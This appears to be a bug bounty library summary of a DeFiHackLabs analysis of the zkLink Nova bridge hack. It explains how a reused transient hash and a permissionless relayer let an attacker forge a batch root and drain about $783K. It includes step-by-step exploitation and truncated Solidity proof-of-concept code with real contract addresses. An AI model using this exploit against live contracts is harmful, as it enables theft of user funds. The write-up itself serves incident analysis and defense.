# zkLink Nova: transient hash reuse forges batch root, drains bridge

zkLink Nova's Arbitrator reuses a transient finalizeMessageHash across claimMessage calls, letting an attacker install a forged l2LogsRootHash and drain ~$783K from L1 escrow and ERC20 bridge.

- Payout: Real-world hack
- Severity: critical
- Program: ZkLinkNova
- Analysis by: DeFiHackLabs
- Disclosed: 2026-10-28
- Write-up quality: 9/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-10/ZkLinkNovaBridge_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20261028-zklinknovabridge
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:access-control vuln:business-logic vuln:signature-replay

**Target:** L1 Arbitrator / SyncL2TxHashRelayer / EthereumGateway / ZkLink bridge contracts
**Root cause:** Arbitrator.claimMessage sets a transient finalizeMessageHash via receiveMessage but never clears it and does not require fresh authentication per call, so a second claimMessage in the same transaction reuses the stale hash. The public SyncL2TxHashRelayer forwards attacker data into the Arbitrator with no role check.
**Steps:**
1. Call `SyncL2TxHashRelayer.claimPrimaryChainSyncL2TxHashMessage` with a legitimate syncL2TxHash payload (CLAIM_A) to populate the transient finalizeMessageHash.
2. Call the same relayer again (CLAIM_B) reusing the stale hash, pointing the claim target at `EthereumGateway.sendMessage`.
3. This executes `ZkLink.syncBatchRoot` under the gateway identity, installing attacker-chosen l2LogsRootHash for batch 116409.
4. Call `ZkLink.finalizeEthWithdrawal` and `L1ERC20Bridge.finalizeWithdrawal` with Merkle proofs that verify against the forged root, draining ETH and 11 ERC20 tokens to the attacker.
**How found:** Likely code review of Arbitrator.claimMessage revealing the transient finalizeMessageHash is set but never cleared, combined with noticing SyncL2TxHashRelayer is permissionless and forwards arbitrary calldata to the Arbitrator.
**Exploitation:** Attacker contract calls the public relayer twice in one transaction: first to populate a valid transient hash, second to reuse it and redirect the claim to EthereumGateway.sendMessage, which runs syncBatchRoot and installs a forged l2LogsRootHash. Then finalizes withdrawals with real Merkle proofs against that root, draining 22.43 ETH and 11 ERC20 balances (~$783K total across two txs).
**Insight:** Look for transient storage variables set in one callback and reused in a later call within the same transaction without being cleared or re-authenticated; permissionless relayers that forward arbitrary calldata into privileged contracts are prime enablers.

## Proof of concept (copied exactly from the original report)

**Attacker contract driving two relayer calls**

```
contract Attacker {
    ISyncL2TxHashRelayer constant RELAYER = ISyncL2TxHashRelayer(0x0FDC28e64772a70109d10fd068f859cFa7Dea2c6);
    IZkLink constant ZKLINK = IZkLink(0x5fD9F73286b7E8683Bab45019C94553b93e015Cf);
    IL1ERC20Bridge constant BRIDGE = IL1ERC20Bridge(0xAd16eDCF7DEB7e90096A259c81269d811544B6B6);

    address constant MESSAGE_PROXY = 0xd19d4B5d358258f05D7B411E21A1460D11B0876F; // source-chain canonical message service
    address constant GATEWAY = 0x83Bc7394738A7A084081aF22EEC0051908c0055c; // EthereumGateway
    bytes32 constant SEC_L2TXHASH = 0x25754f570125e0f3e6b56827aae2ae7c5875a2044996f6f455569bd02bbffadc;
    bytes32 constant PRI_L2TXHASH = 0xe9ec340b8d65c0ad35a637e9427060bd097b840dca668ddbaf1c40c4b146ba52;

    // Attacker claim payloads captured on-chain. These are the `bytes` arguments the relayer forwards
    // into Arbitrator.claimMessage: call A performs a legitimate syncL2TxHash relay (populating the
    // transient hash); call B reuses that hash and points the claim at EthereumGateway.sendMessage,
    // which runs ZkLink.syncBatchRoot and installs the attacker root for batch 116409.
    bytes constant CLAIM_A = hex"6463fb2a0000000000000000000000000000000000000000000000000000000000000020
```

**Test asserting ETH and ERC20 drain**

```
function testExploit() public {
        uint256 ethBefore = RECIPIENT.balance;
        uint256[11] memory tokBefore;
        for (uint256 i; i < 11; ++i) tokBefore[i] = IERC20(TOKENS[i]).balanceOf(RECIPIENT);

        Attacker attacker = new Attacker();
        attacker.attack();

        uint256 ethGained = RECIPIENT.balance - ethBefore;
        console.log("ETH drained to attacker :", ethGained);
        assertEq(ethGained, ETH_DRAIN, "eth drain mismatch");

        for (uint256 i; i < 11; ++i) {
            uint256 gained = IERC20(TOKENS[i]).balanceOf(RECIPIENT) - tokBefore[i];
            console.log("token", TOKENS[i]);
            console.log("  drained :", gained);
            assertEq(gained, AMOUNTS[i], "erc20 drain mismatch");
```

**Negative control without root install**

```
function testWithoutRootInstallReverts() public {
        Attacker attacker = new Attacker();
        vm.expectRevert();
        attacker.populateOnlyThenWithdraw();
```

